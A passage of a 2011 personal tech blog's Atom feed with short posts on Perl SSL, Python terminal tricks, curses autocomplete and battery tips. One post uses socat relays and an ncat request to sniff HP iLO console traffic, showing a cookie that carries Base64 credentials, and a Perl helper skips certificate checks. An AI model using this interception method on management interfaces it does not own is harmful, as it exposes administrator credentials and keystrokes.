rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/04/modpython-connectors-for-jquery.html' title='MOD_Python connectors for JQuery Filetree Plugin'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-1719936010785212318</id><published>2011-04-13T00:25:00.000-07:00</published><updated>2011-04-14T02:55:12.944-07:00</updated><title type='text'>Sniffing HP ILO traffic using socat redirectors</title><content type='html'>Here are the steps:&lt;br /&gt;
&lt;br /&gt;
1. Start a redirector between your local machine to HP ILO IP, as follows:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;socat -v TCP-LISTEN:1234,fork openssl-connect:10.112.168.184:443,verify=0

&lt;/pre&gt;&lt;br /&gt;
2. Start another redirector between your local machine and HP ILO IP, as follows:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;socat -v TCP-LISTEN:23,fork tcp-connect:10.112.168.184:23

&lt;/pre&gt;&lt;br /&gt;
3. Connect to the following URL using your browser:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;http://localhost:1234

&lt;/pre&gt;&lt;br /&gt;
4. Login and then open the remote console and notice that for every character typed, one character (ascii) gets sent to ILO&lt;br /&gt;
&lt;br /&gt;
I just went through &lt;a href="http://files.myopera.com/suchindrac/files/ilo_security.pdf"&gt;a document &lt;/a&gt; which provided details of the encryption and remote console process&lt;br /&gt;
&lt;br /&gt;
Here is the procedure to obtain a remote console telnet connection:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;
[root@localhost Downloads]# cat get-drac2fram 
GET /drc2fram.htm?restart=0 HTTP/1.1
Host: localhost:1234
User-Agent: My Agent
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://localhost:1234/drcinfo.htm?data
Cookie: hp-iLO-Login=(session index):(Base64(username)):(Base64(password)):(Initial session secret)


[root@localhost Downloads]# cat get-drac2fram | ncat --ssl -C 10.112.168.186 443
.
.
.
INFO0
.
.


&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-1719936010785212318?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/1719936010785212318/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/04/sniffing-hp-ilo-traffic-using-socat.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/1719936010785212318'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/1719936010785212318'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/04/sniffing-hp-ilo-traffic-using-socat.html' title='Sniffing HP ILO traffic using socat redirectors'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-6687443414827641073</id><published>2011-04-05T23:19:00.000-07:00</published><updated>2011-04-05T23:20:52.793-07:00</updated><title type='text'>Handling SSL using perl</title><content type='html'>Have been working with lots of perl code lately&lt;br /&gt;
&lt;br /&gt;
Just wrote a raw function (no error handling) to write and read from SSL server using Net::SSL module&lt;br /&gt;
&lt;br /&gt;
Here is the code, in case some one is in need of it urgently:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;
use Net::SSLeay;
Net::SSLeay::load_error_strings();
Net::SSLeay::SSLeay_add_ssl_algorithms();
Net::SSLeay::randomize();
use IO::Socket;

sub SSLWriteAndRead 
{
   my $ip = shift;
   my $port = shift;
   my $msg = shift;
   #
   # Bring up socket
   #


   my $dest_ip = gethostbyname ($ip);
   my $dest_serv_params  = sockaddr_in($port, $dest_ip);

   
   socket  (S, &amp;AF_INET, &amp;SOCK_STREAM, 0)  or die "socket: $!";
   connect (S, $dest_serv_params)          or die "connect: $!";

   #
   # Define SSL Context
   #
   my $ctx = Net::SSLeay::CTX_new();
   
   #
   # No need to verify certificates
   #
   Net::SSLeay::CTX_set_options($ctx, &amp;Net::SSLeay::OP_ALL);

   #
   # SSL Object
   #
   my $ssl = Net::SSLeay::new($ctx);

   #
   # Map the file descriptor S to this SSL object
   #
   Net::SSLeay::set_fd($ssl, fileno(S));   

   #
   # Connect
   #
   my $result = Net::SSLeay::connect($ssl);
   
   #
   # Write data
   #

   $result = Net::SSLeay::write($ssl, $msg);  
   

   # 
   # Read Data
   #
   my $response = Net::SSLeay::read($ssl);         

   CORE::shutdown S, 1;  
   Net::SSLeay::free ($ssl);   
   Net::SSLeay::CTX_free ($ctx);
   close S;

   
   return $response;
}

&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-6687443414827641073?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/6687443414827641073/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/04/handling-ssl-using-perl.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/6687443414827641073'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/6687443414827641073'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/04/handling-ssl-using-perl.html' title='Handling SSL using perl'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-2489836962548338568</id><published>2011-04-02T09:32:00.000-07:00</published><updated>2011-04-02T09:32:43.834-07:00</updated><title type='text'>A good article on 6 tips to take care of Acer Laptop Battery</title><content type='html'>Original Link: &lt;a href="http://www.acerlaptopbattery.org/6-tips-to-take-care-of-acer-laptop-battery/"&gt;http://www.acerlaptopbattery.org/6-tips-to-take-care-of-acer-laptop-battery/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Article reproduced below as is:&lt;br /&gt;
&lt;br /&gt;
6 Tips to Take care of Acer laptop battery&lt;br /&gt;
July 30, 2010 by admin in Laptop battery Tips | Leave a comment&lt;br /&gt;
&lt;br /&gt;
1. Do not discharge the acer laptop battery by playing a DVD movie or anything else that need Lot of power. Even your laptop battery has a protection circuit to stop the battery drain to a critical level. Not worry about all this happens in the background. When fully discharged reconnect to the network for a full charge.&lt;br /&gt;
&lt;br /&gt;
2.Never try to charge the battery while the download is only half this Battery will not charge properly.&lt;br /&gt;
&lt;br /&gt;
3. If the laptop is connected to AC power, the Dell inspiron 6400 battery must be removed from the laptop. This is because heat damage li-ion, if your laptop puts out a lot of heat near the batteries (and smarter designed laptops do not) must remove it when not in use.&lt;br /&gt;
&lt;br /&gt;
4. Never Never use a Acer laptop battery charger of a different composition of the laptop. different brands and models have the voltage settings and connection ports, so the most likely cause further damage to the Acer laptop battery. If the value your laptop / notebook only use the factory supplied charger.&lt;br /&gt;
&lt;br /&gt;
5. If your laptop comes with software provided to monitor your Acer laptop battery consumer, make sure you are familiar with it, and you can save a lot of recharge cycles the inspiron E1505 battery if it is configured correctly.&lt;br /&gt;
&lt;br /&gt;
6. Always try to keep your laptop on a flat surface, if you have the laptop on her lap most of the time without realizing it can stop the flow of air through the computer, which can raise the temperature of the battery and damage it.&lt;br /&gt;
&lt;br /&gt;
7. Keep your laptop Acer laptop battery cool. Batteries degrade more quickly when they’re hot. That means you should keep vents clear — don’t put your laptop on a fluffy pillow or a cushioned surface that will cover vents and trap heat.&lt;br /&gt;
&lt;br /&gt;
8. Don’t pack your laptop away in a backpack or other enclosed space when the battery is still warm, trapping the heat. A battery that’s frequently hot to the touch will lose life a lot faster than a battery that isn’t constantly being stressed. Worst of all: If your laptop crashes or refuses to shut off properly, the battery can get extremely hot when packed away in your bag. Check it to make sure it hasn’t gotten dangerously hot while stowed away over the weekend.&lt;br /&gt;
&lt;br /&gt;
9. Don’t charge your laptop constantly. If you only occasionally take your laptop away from a power outlet, but leave it plugged in to charge 24/7, you’re leaving your laptop in a state of perpetual charge at the 100% point — and that is bad for the battery’s long-time health.&lt;br /&gt;
&lt;br /&gt;
10. If you tend to use your laptop mainly at your desk, exercise your Acer laptop batteryhttp://www.mambate.us/v/vspfiles/templates/my100/images/HomePage/H_09_50.gif by running it down and recharging it once or (even better) twice a month.&lt;br /&gt;
&lt;br /&gt;
11. Alternately, you might want to physically remove the laptop battery if you’re using the laptop at your desk for long stretches of time. If you do remove it, don’t store it in a fully charged or depleted state. It’s best to store it in the middle — between 40 and 50 percent of full charge.&lt;br /&gt;
&lt;br /&gt;
PS:I am so happy that Acer laptop battery Blog successfully recommend a customer to Mambate US again.This is the second time&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-2489836962548338568?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/2489836962548338568/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/04/good-article-on-6-tips-to-take-care-of.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/2489836962548338568'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/2489836962548338568'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/04/good-article-on-6-tips-to-take-care-of.html' title='A good article on 6 tips to take care of Acer Laptop Battery'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-6643333828441456977</id><published>2011-03-23T03:51:00.001-07:00</published><updated>2011-04-05T23:20:17.904-07:00</updated><title type='text'>C type getch() in bash</title><content type='html'>&lt;pre name="code" class="Cpp"&gt;getch ()     # gets one char from kbd, no "Enter" necessary
{
    OLD_STTY=`stty -g`
    stty cbreak -echo
    GETCH=`dd if=/dev/tty bs=1 count=1 2&gt;/dev/null`
    stty $OLD_STTY
} 

&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-6643333828441456977?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/6643333828441456977/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/03/c-type-getch-in-bash.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/6643333828441456977'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/6643333828441456977'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/03/c-type-getch-in-bash.html' title='C type getch() in bash'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-3596852970036961282</id><published>2011-03-17T07:06:00.000-07:00</published><updated>2011-03-18T01:40:36.517-07:00</updated><title type='text'>AutoComplete using python</title><content type='html'>Well, I just wrote a python script to provide autocomplete functionality on command prompt. During the course of writing the script, I came across some really good python related issues. Basically autoComplete can be achieved using either curses or core python functionality. Using curses is better option&lt;br /&gt;
&lt;br /&gt;
The smaller issues are:&lt;br /&gt;
&lt;br /&gt;
1. You have a code that prints numbers 1 in each line as follows:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;&gt;&gt;&gt; for iter in range(1, 10, 1):
...     print iter
...
1
2
3
4
5
6
7
8
9

&lt;/pre&gt;&lt;br /&gt;
The first problem is to print the numbers above in a single line. This can be easily done in python using:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;for iter in range(1, 10, 1):
...     sys.stdout.write(str(iter))
...
12345678

&lt;/pre&gt;&lt;br /&gt;
2. Next problem is to print it on a single cursor (not single line). This can be achieved using:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;import sys
for a in range(1, 10, 1):
        sys.stdout.write("value" + str(a) + "\r")
        sys.stdout.flush()

print "\r\n"

&lt;/pre&gt;&lt;br /&gt;
The above code will run a counter with the word 'value' being constant, and the number changing on the same line&lt;br /&gt;
&lt;br /&gt;
So this is printing on the same line&lt;br /&gt;
&lt;br /&gt;
3. Next is Editing a previously printed line (basically changing it)&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="Code" class="Cpp"&gt;suchindrac-pc@suchindracpc-VirtualBox:~/Downloads$ cat d.py
import sys
for a in range(1, 10, 1):
        sys.stdout.write("value" + str(a) + "\r\n")
        sys.stdout.flush()

for a in range(1, 10, 1):
        sys.stdout.write("\033[F")


print "\r\n"
suchindrac-pc@suchindracpc-VirtualBox:~/Downloads$ python d.py
value1
value2
suchindrac-pc@suchindracpc-VirtualBox:~/Downloads$ &lt;-- You are able to traverse to 3rd line 
value4                                                            |
value5                                                            |
value6                                                            |
value7                                                            |
value8                                                            |
value9                                            from here &lt;---- |

&lt;/pre&gt;
4. Implementing C's getch functionality in python (without actually needing an &lt;enter&gt; to be typed:

&lt;pre name="code" class="Cpp"&gt;def getChar():
            import sys, tty, termios
            fd = sys.stdin.fileno()
            old_settings = termios.tcgetattr(fd)
            try:
                tty.setraw(sys.stdin.fileno())
                ch = sys.stdin.read(1)
            finally:
                termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)
            return ch


ch = getch()

&lt;/pre&gt;5. Now comes curses:

A custom autoSuggest written using python, for a specific list of objects each accessing 3 data from the class instances (namely machine, part and prop, is below:

&lt;pre name="code" class="Cpp"&gt;def autoComplete(stdscr, lst):

#
# lst is a list of objects, where in each object is able to
# access 4 values, namely index, machine, part and prop
#

#
# curses init part
#
 stdscr = curses.initscr()

#
# Don't echo what is written
#
 curses.noecho()

#
# type of tty
#
 curses.cbreak()


#
# Number of lines to print
#
 lenValues = 25

 inpMsg = "Please type in what you want:"

#
# Print inpMsg at 0, 0 on shell
#
 stdscr.addstr(0, 0, inpMsg)
 stdscr.refresh()
 inpLoc = len(inpMsg)
 rowNum = 1
 colNum = 0
 value = ''
 while (1):

#
# Start getting characters from user
#
  ch = stdscr.getch()


#
# When he types &lt;enter&gt;, break
#
  if ch == 10:
   break

#
# If he types escape, then clear the line
#
  if ch == 27:
   value = ''
#
# If he types backspace, change the content of value
#
  if ch == 127:
   value = value[:-1]
   printMsg = inpMsg + value
   stdscr.addstr(0, 0, printMsg)
   stdscr.refresh()

   continue
  else:

#
# Append to previous value
#
   value = value + chr(ch)

  value = value.lower()

#
# Value is collected, do the grepping part
#
  stdscr.clear()
  foundValues = []
  for iter1 in lst:
   machFound = iter1.machine.lower().rfind(value)
   partFound = iter1.part.lower().rfind(value)
   propFound = iter1.prop.lower().rfind(value)
   if (machFound != -1) or (partFound != -1) or (propFound != -1):
    foundValues.append(iter1)

  if foundValues:
   if len(foundValues) &lt; 25:
    lenValues = len(foundValues) - 1
   for iter1 in foundValues[:lenValues]:
    toPrint =  str(iter1.index) + "\t" + \
      "-&gt;" + str(iter1.machine) + \
      "-&gt;" + str(iter1.part) + \
      "-&gt;" + str(iter1.prop) 
    stdscr.addstr(rowNum, colNum, toPrint)
    stdscr.refresh()
    rowNum = rowNum + 1

  printMsg = inpMsg + value
  stdscr.addstr(0, 0, printMsg)
  stdscr.refresh()
  rowNum = 1


&lt;/pre&gt;
Here is a command line autosuggest to suggest commands in /bin, /sbin, /usr/bin and /usr/sbin folders written without using curses:

&lt;pre name="code" class="Cpp"&gt;
import time, sys, os, commands

def restorescreen():
        curses.nocbreak()
        curses.echo()
        curses.endwin()

def getChar():
            import sys, tty, termios
            fd = sys.stdin.fileno()
            old_settings = termios.tcgetattr(fd)
            try:
                tty.setraw(sys.stdin.fileno())
                ch = sys.stdin.read(1)
            finally:
                termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)
            return ch

def goUpALine():
 sys.stdout.write("\033[F")

dummy = 0
def main():
 cmd = 'for file in `ls /bin /sbin /usr/bin /usr/sbin`; do  echo $file; done | grep -v "^/"'
 commandArray = commands.getoutput(cmd)
 commandArray = commandArray.split("\n")

 value = ''
 while (1):
  found = []
  toStdOut = []
         ch = getChar()
  if ord(ch) == 13:
   break
  elif ord(ch) == 127:
   if value != '':
    value = value[:-1]
  else:
   value = value + ch 

  for iter1 in commandArray:
   if iter1.rfind(value) != -1:
    found.append(iter1) 

  if value != '':
   toStdOut.append(value)

  for iter1 in found[:10]:
   toStdOut.append(iter1)

  lenStdOut = len(toStdOut)

  for iter1 in toStdOut:
   for iter2 in range(0, 80, 1):
    sys.stdout.write(" ")
   sys.stdout.write("\r" + iter1 + "\r\n")

  for iter1 in range(0, 11 - lenStdOut, 1):
   sys.stdout.write(" " * 80 + "\r\n")

  for iter1 in range(0, 11, 1):
   goUpALine()
 for iter1 in range(0, 11, 1):
  sys.stdout.write(" " * 80 + "\r\n")
 for iter1 in range(0, 11, 1):
  goUpALine()

main()
&lt;/pre&gt;
Here is the &lt;a href="http://files.myopera.com/suchindrac/files/graph.tar.gz"&gt;script&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-3596852970036961282?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/3596852970036961282/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/03/autocomplete-using-python.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/3596852970036961282'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/3596852970036961282'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/03/autocomplete-using-python.html' title='AutoComplete using python'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-1760920418806901195</id><published>2011-03-16T19:23:00.000-07:00</published><updated>2011-03-16T19:23:28.027-07:00</updated><title type='text'>Virtual Environments in python</title><content type='html'>&lt;a href="http://pypi.python.org/pypi/virtualenv"&gt;What It Does&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
virtualenv is a tool to create isolated Python environments.&lt;br /&gt;
&lt;br /&gt;
The basic problem being addressed is one of dependencies and versions, and indirectly permissions. Imagine you have an application that needs version 1 of LibFoo, but another application requires version 2. How can you use both these applications? If you install everything into /usr/lib/python2.4/site-packages (or whatever your platform's standard location is), it's easy to end up in a situation where you unintentionally upgrade an application that shouldn't be upgraded.&lt;br /&gt;
&lt;br /&gt;
Or more generally, what if you want to install an application and leave it be? If an application works, any change in its libraries or the versions of those libraries can break the application.&lt;br /&gt;
&lt;br /&gt;
Also, what if you can't install packages into the global site-packages directory? For instance, on a shared host.&lt;br /&gt;
&lt;br /&gt;
In all these cases, virtualenv can help you. It creates an environment that has its own installation directories, that doesn't share libraries with other virtualenv environments (and optionally doesn't use the globally installed libraries either)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-1760920418806901195?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/1760920418806901195/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/03/virtual-environments-in-python.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/1760920418806901195'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/1760920418806901195'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/03/virtual-environments-in-python.html' title='Virtual Environments in python'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-3914717689719487591</id><published>2011-03-13T21:56:00.000-07:00</published><updated>2011-03-13T21:56:05.786-07:00</updated><title type='text'>MTMINI using Community Core Vision</title><content type='html'>A Multitouch Mini, MTmini for short, is a cheap, small, portable multitouch pad. It can be used for all different purposes including: drawing, OS navigation, multitouch operation, games, entertainment, experimentation, and more. I created the Multitouch Mini to show people how something that seems complicated or 'magical' can be made simply and at low cost&lt;br /&gt;
&lt;br /&gt;
Here is a very good video describing how to construct the device using cheap materials:&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://sethsandler.com/multitouch/mtmini/"&gt;Video&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
And here is the link to Community Core vision:&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://sethsandler.com/multitouch/community-core-vision-guide/"&gt;Community Core Vision&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-3914717689719487591?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/3914717689719487591/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/03/mtmini-using-community-core-vision.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/3914717689719487591'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/3914717689719487591'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/03/mtmini-using-community-core-vision.html' title='MTMINI using Community Core Vision'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-7061110492290928360</id><published>2011-03-09T04:16:00.000-08:00</published><updated>2011-03-09T04:39:55.702-08:00</updated><title type='text'>A good article on emulation</title><content type='html'>This is as deep as the rebbit hole can go, keeping things brief&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://apple1.chez.com/Apple1project/Docs/pdf/Study_techniques_for_emulation_programming.pdf"&gt;This is an article that explains what emulators do&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://files.myopera.com/suchindrac/files/fMSX351.zip"&gt;And this is deeper&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-7061110492290928360?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/7061110492290928360/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/03/good-article-on-emulation.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/7061110492290928360'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/7061110492290928360'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/03/good-article-on-emulation.html' title='A good article on emulation'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-9191569378228864314</id><published>2011-03-08T20:12:00.000-08:00</published><updated>2011-03-08T20:12:09.807-08:00</updated><title type='text'>Using classes in python for creating multi dimensional mapping</title><content type='html'>I had to map num1, num2 and num3 to a single structure so that I can easily access it. One of my colleagues mentioned the idea of using classes, creating objects, and using the objects to access the elements of the three dimensional grouping (dict is 2 dimensional btw)&lt;br /&gt;
&lt;br /&gt;
Tried that and found it useful&lt;br /&gt;
&lt;br /&gt;
Here is an example code:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;
def func(x, y):
        return ~(x * x) - ~(x * y)


class ThreeDimMap:
        def __init__(self, num1, num2, result):
                self.num1 = num1
                self.num2 = num2
                self.result = result
class RepeatedThreeDimMap:
        def __init__(self, num1, num2, result):
                self.num1 = num1
                self.num2 = num2
                self.result = result

class NonRepeatedThreeDimMap:
        def __init__(self, num1, num2, result):
                self.num1 = num1
                self.num2 = num2
                self.result = result

lst = []
rlst = []
nlst = []
for iter1 in range(0, 32, 1):
        for iter2 in range(0, 32, 1):
                result = func(iter1, iter2)
                TdObj = ThreeDimMap(iter1, iter2, result)
                lst.append(TdObj)



nums = []
for iter in range(0, 1024, 1):
        nums.append(lst[iter].result)

for iter in range(1, 1024, 1):
                if lst[iter].result in nums[0:iter - 1]:
                        rObj = RepeatedThreeDimMap(lst[iter].num1, lst[iter].num2, lst[iter].result)
                        rlst.append(rObj)
                else:
                        nObj = NonRepeatedThreeDimMap(lst[iter].num1, lst[iter].num2, lst[iter].result)
                        nlst.append(nObj)

for iter in range(0, len(rlst) - 1, 1):
        print rlst[iter].num1, rlst[iter].num2, rlst[iter].result

print len(rlst)
print len(nlst)

&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-9191569378228864314?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/9191569378228864314/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/03/using-classes-in-python-for-creating.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/9191569378228864314'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/9191569378228864314'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/03/using-classes-in-python-for-creating.html' title='Using classes in python for creating multi dimensional mapping'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' 